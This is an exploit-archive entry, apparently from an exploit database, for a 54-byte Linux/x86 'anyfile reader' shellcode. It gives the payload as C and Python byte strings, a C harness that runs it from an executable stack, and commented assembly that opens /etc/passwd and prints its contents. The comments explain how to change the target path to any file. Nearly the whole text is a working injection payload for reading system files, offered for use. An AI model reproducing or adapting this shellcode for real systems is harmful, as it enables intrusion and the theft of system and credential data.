;================================================================================ ; The MIT License ; ; Copyright (c) ; ; Permission is hereby granted, free of charge, to any person obtaining a copy ; of this software and associated documentation files (the "Software"), to deal ; in the Software without restriction, including without limitation the rights ; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell ; copies of the Software, and to permit persons to whom the Software is ; furnished to do so, subject to the following conditions: ; ; The above copyright notice and this permission notice shall be included in ; all copies or substantial portions of the Software. ; ; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR ; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, ; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER ; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, ; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN ; THE SOFTWARE. ;================================================================================ ; Name : Linux/x86 - Anyfile Reader Shellcode (54 Bytes) ; Author : WangYihang ; Email : wangyihanger@gmail.com ; Tested on: Linux_x86 ; Shellcode Length: 54 ;================================================================================ ; Shellcode : ; You can complie it to verify by using : gcc -z execstack -o exploit exploit.c char shellcode[] = "\x31\xc9\x51\x68\x73\x73\x77\x64" "\x68\x2f\x2f\x70\x61\x68\x2f\x65" "\x74\x63\x89\xe3\x31\xc0\x99\xb0" "\x05\xcd\x80\x89\xc7\xb2\xff\x89" "\xe1\x89\xfb\xb0\x03\xcd\x80\xb3" "\x01\xb0\x04\xcd\x80\xfe\xca\x80" "\xfa\x01\x74\x02\xeb\xe9" int main(){ void(*exploit)(); exploit = &shellcode; exploit(); } ;================================================================================ ; Python : ; shellcode = "\x31\xc9\x51\x68\x73\x73\x77\x64" ; shellcode += "\x68\x2f\x2f\x70\x61\x68\x2f\x65" ; shellcode += "\x74\x63\x89\xe3\x31\xc0\x99\xb0" ; shellcode += "\x05\xcd\x80\x89\xc7\xb2\xff\x89" ; shellcode += "\xe1\x89\xfb\xb0\x03\xcd\x80\xb3" ; shellcode += "\x01\xb0\x04\xcd\x80\xfe\xca\x80" ; shellcode += "\xfa\x01\x74\x02\xeb\xe9" ;================================================================================ ; Assembly language code : global _start _start: ; int open(const char *pathname, int flags); xor ecx, ecx ; #DEFINE O_RDONLY 0 ; push \x00 to the stack to end the filename (string) push ecx ; push filename to the stack (You can also change the filename to anyfile you want to read) ; But your input must in reverse order by 4 bytes. ; You can use '/' to file the 0 bytes , because execve() will ignore the muti '/' in your filepath push "sswd" push "//pa" push "/etc" mov ebx, esp xor eax, eax cdq mov al, 05H int 80H mov edi, eax ; save the fd mov dl, 1+0FEH reading: ; ssize_t read(int fd, void *buf, size_t count); ;mov dl, 0FFH ; read 0xFF Bytes to the stack mov ecx, esp mov ebx, edi ; get the fd mov al, 03H int 80H ; ssize_t write(int fd, const void *buf, size_t count); mov bl,1 mov al, 04H int 80H ; continue reading ? dec dl cmp dl, 1H jz exit ; jmp out ; continue reading! jmp reading exit: ; void _exit(int status); ; mov eax, 1 ; int 80H ;================================================================================ # Iranian Exploit DataBase = http://IeDb.Ir [2017-03-21]